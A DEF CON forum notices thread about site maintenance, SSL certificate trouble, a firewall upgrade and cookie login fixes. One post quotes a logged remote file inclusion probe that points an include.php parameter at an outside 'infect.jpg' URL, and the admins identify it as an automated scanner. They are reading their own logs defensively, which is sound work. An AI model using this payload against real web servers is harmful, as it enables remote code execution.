PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Excellent, thanks!

I am looking into purchasing a wild card cert for defcon.org so we can properly ssl everything. I'll keep you guys up to date.

A site-wide cert? Rockin. That will help with pics.defcon.org and any other host encryption.

Also we will need to schedule about 6 to 12 hours of downtime for the firewall upgrade. I will do all I can ahead of time, so it might just be three hours, but I want to plan for the worst.

Excellent. If you are looking for suggestions on best days... Friday is one of the slowest days on the forums-- especially in the eve. Monday through Wednesday are some of the busier days.

I'm going to down service temporarily to help me diagnose a new problem. Expected downtime? 5 minutes.

[DaKahuna]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Did something change? If I read a thread and it takes me more that a couple of minutes, I get sent back to the log-in screen again as if it did not remember me, when I click on "New Posts". However, after logging in the Post no longer show up as new so it is recognizaing that I read them.

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Did something change? If I read a thread and it takes me more that a couple of minutes, I get sent back to the log-in screen again as if it did not remember me, when I click on "New Posts". However, after logging in the Post no longer show up as new so it is recognizaing that I read them.

Sounds like a cookie issue, or FW rules might be getting updated.

If Your auth does not remain functional, try clearing your cookies for this domain, then login again.

Cookies also help your client track what threads you have read.

Try this, and please let us know how it works for you.

Anyone else experiencing the above? Any procedure to duplicate it?

I've changed nothing since the last major update mentioned above. Converge has maintenance but that is now dependent on another change.

[Thorn]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

If I read a thread and it takes me more that a couple of minutes, I get sent back to the log-in screen again as if it did not remember me, when I click on "New Posts". However, after logging in the Post no longer show up as new so it is recognizaing that I read them.

Sounds like a cookie issue, or FW rules might be getting updated.

If Your auth does not remain functional, try clearing your cookies for this domain, then login again.

Cookies also help your client track what threads you have read.

Try this, and please let us know how it works for you.

Anyone else experiencing the above? Any procedure to duplicate it?

I've had similar problems twice in the past, and clearing the cache and cookies resolved it in both cases.

[DaKahuna]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

I've had similar problems twice in the past, and clearing the cache and cookies resolved it in both cases.

And clearing the cookies worked in this case for me. Thanks.

[Thorn]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

And clearing the cookies worked in this case for me. Thanks.

You're welcome.

[neil]

Upgrades weekend of 8/30

Greetings all,

DT just wanted me to let everyone know that the firewall is being upgraded this weekend, and that there may be some ups and downs with he forums and the https as it happens.

Thanks for your patience as this occurs...



Neil

[TheCotMan]

Re: Upgrades weekend of 8/30

Greetings all,

DT just wanted me to let everyone know that the firewall is being upgraded this weekend, and that there may be some ups and downs with he forums and the https as it happens.

Thanks for your patience as this occurs...



Neil

Thanks Neil. I've been reluctant to login to the forums without https, but now I have a tunnel.

Tunnels are cool. Heh-heh, heh-heh, hrm.

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Just got word; more maintenance is about to begin.

[The Dark Tangent]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Just got word; more maintenance is about to begin.

Wow, what a nightmare!

I won't begin to go into the unseen complications and incompatibilities. But the short version for everyone here boils down to this:

- The Thawte 123SSL certs no longer play nice and I've reverted to self signed certs for the time being so people can log in safely.

For forums.defcon.org the temporary signature value is:
Size: 128 Bytes / 1024 Bits
95 30 c1 11 1e ee 71 58 49 d9 5e 2e 3f 7f b1 eb
fc 98 49 27 69 bb 85 4f e9 05 35 4f 0d a5 3f 07
a7 ab 85 fa 70 5b 3c b5 2d 26 c0 75 57 22 95 fc
ec 5f 09 7a 3d 5f 3a 12 b7 d1 69 81 56 76 a1 26
3f f5 99 c4 fe 3e 1f d7 ea a0 0a bd fd bd 40 23
a8 9d 09 fe 8a 5d c6 49 5a 81 ad f2 b5 81 4a f4
57 3b 73 2a 7c 86 0f 25 c4 40 8a e1 90 bf 92 83
83 11 74 9b c6 65 6d 05 b8 0e cb 4b d9 3b 77 e5

for those of you paranoid enough to check.

The http filtering rules had to be recreated, so I might have made a mistake. Please report all odd behavior here and I'll kill all the bugs one at a time!

Good to be back up!

DT

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Thanks DT .:-)

Things to be tested:
* Mail (new users, PM, thread updates)
* Long URL generated by the forums (example: search)
* Calendar
* ical export
* New Posts
* Long posts

Anything else?

I'll make a new test account and purge it for testing user sign-up.

I've tested htauth in 2 of the spaces we had it before, and it still works.

[The Dark Tangent]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Looking through the logs to see what errors are being generated I am seeing a lot of things like this:

attackip: 66.180.173.59
reason: Poorly formed request: GET //admin/inc/include.php?language=0&lang_settings[0][1]=http://www.michelvoorn.com/ocarteiro/infect.jpg

Must be some auto crawling infecter?

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Looking through the logs to see what errors are being generated I am seeing a lot of things like this:

attackip: 66.180.173.59
reason: Poorly formed request: GET //admin/inc/include.php?language=0&lang_settings[0][1]=http://www.michelvoorn.com/ocarteiro/infect.jpg

Must be some auto crawling infecter?

Google says:
http://securitytracker.com/alerts/2006/Jul/1016513.html

Probably an automated script probing for web servers with this webmail product.

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Testing and diagnostics happening for the next hour or so... Access to forums may be open and closed for a while as needed during testing.

[TheCotMan]

Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Testing and diagnostics happening for the next hour or so... Access to forums may be open and closed for a while as needed during testing.

Expect something again tonight.